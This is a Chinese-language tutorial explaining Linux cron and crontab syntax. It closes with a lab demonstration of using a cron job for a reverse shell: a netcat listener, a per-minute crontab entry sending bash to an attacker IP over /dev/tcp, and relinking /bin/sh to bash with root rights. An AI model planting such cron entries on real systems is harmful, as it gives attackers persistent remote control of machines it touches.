对Linux定时任务的认识

在Linux 系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的。但是,Linux系统也给用户提供了可以自己设置计划,这就是定时任务。通过定时任务,用户可以自己设置在什么时候执行什么命令,在这个过程中涉及到 crontab 命令。 在Linux中,周期执行的任务一般由cron这个守护进程来处理,cron读取一个或多个配置文件,这些配置文件中包含了命令行及其调用时间,cron的配置文件称为“crontab”,是“cron table”的简写。 一般cron在3个地方查找配置文件: /var/spool/cron/ 这个目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名。 /etc/crontab 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab。 /etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。 cron服务一般是自启的: service crond start 启动服务 service crond stop 关闭服务 service crond restart 重启服务 service crond reload 重新载入配置 service crond status 查看服务状态 cron有两个配置文件,一个是一个全局配置文件(/etc/crontab),是针对系统任务的;一组是crontab命令生成的配置文件(/var/spool/cron下的文件),是针对某个用户的。定时任务配置到任意一个中都可以。 查看全局配置文件配置情况: cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # 查看当前用户下的定时任务: crontab -l 或 cat /var/spool/cron/用户名 root就是我当前用户的定时任务。 crontab任务配置基本格式: * * * * * (command) 第一个 * 表示分钟1~59,每分钟用 * 或者 */1 表示 第二个 * 表示小时1~23(0表示0点) 第三个 * 表示日期1~31 第四个 * 表示月份1~12 第五个 * 表示星期0~6(0表示星期天) (command) 表示要运行的命令 在以上任何值中,星号(*)可以用来代表所有有效的值。比如,月份值中的星号意味着在满足其它制约条件后每月都执行该命令。 整数间的短线(-)指定一个整数范围。比如,1-4 意味着整数 1、2、3、4。 用逗号(,)隔开的一系列值指定一个列表。比如,3, 4, 6, 8 标明这四个指定的整数。 正斜线(/)可以用来指定间隔频率。在范围后加上 / 意味着在范围内可以跳过 integer。譬如,0-59/2 可以用来在分钟字段定义每两分钟。间隔频率值还可以和星号一起使用。例如,*/3 的值可以用在月份字段中表示每三个月运行一次任务。 开头为井号(#)的行是注释,不会被处理。 例如: 0 4 * * * rm ~/桌面/test.txt //每天晚上四点删除 ~/桌面/ 这个目录下的 test.txt 这个文件 10 4 1,3,5 * * service apache2 restart //表示每月1,3,5号的4:10会重启Apache服务器 ...... 参数说明: usage: crontab [-u user] file crontab [ -u user ] [ -i ] { -e | -l | -r } (default operation is replace, per 1003.2) -e (edit user's crontab) -l (list user's crontab) -r (delete user's crontab) -i (prompt before deleting user's crontab) 例如:当前用户是root,创建root的定时任务 crontab -e //进入编辑模式 写下定时任务 然后查看当前用户的定时任务: crontab -l 我写的定时任务是在每天12:05时在/var/spool/cron/ 目录下创建一个test.txt文件,可以看到任务已经执行。 定时任务反弹shell: 通常在在网络安全中,我们用crontab创建定时任务反弹shell 在本地演示一下 攻击机:kali ip:192.168.1.184 目标机:ubuntu ip:192.168.1.170 演示开始: 先在攻击机上监听端口 root@kali:~# nc -lvp 8888 listening 正在监听 接下来在目标机上写下定时任务 crontab -e //打开编辑器,写入 * * * * * bash -i >& /dev/tcp/192.168.1.184/8888 0>&1 成功反弹shell 不过在ubuntu下写定时任务反弹shell有个问题: 通常linux里面的cron中command执行的shell环境是/bin/sh 而在ubuntu中的/bin/sh 文件实际上是一个软链接文件,他指向的是dash这个shell ,而实际上dash这个shell只有运行脚本的能力,而没有交互能力。 这里我们只需要将sh的软链接修改为bash即可 sudo ln - s -f bash /bin/sh //修改软连接需要root权限 修改成功后就会出现上面反弹shell成功。 Ubuntu下计划任务反弹shell需要注意的事项: 1.需要用root权限书写计划 2.书写crontab计划的时候要将/bin/sh 软链接到 /bin/bash

对Linux定时任务的认识

相关推荐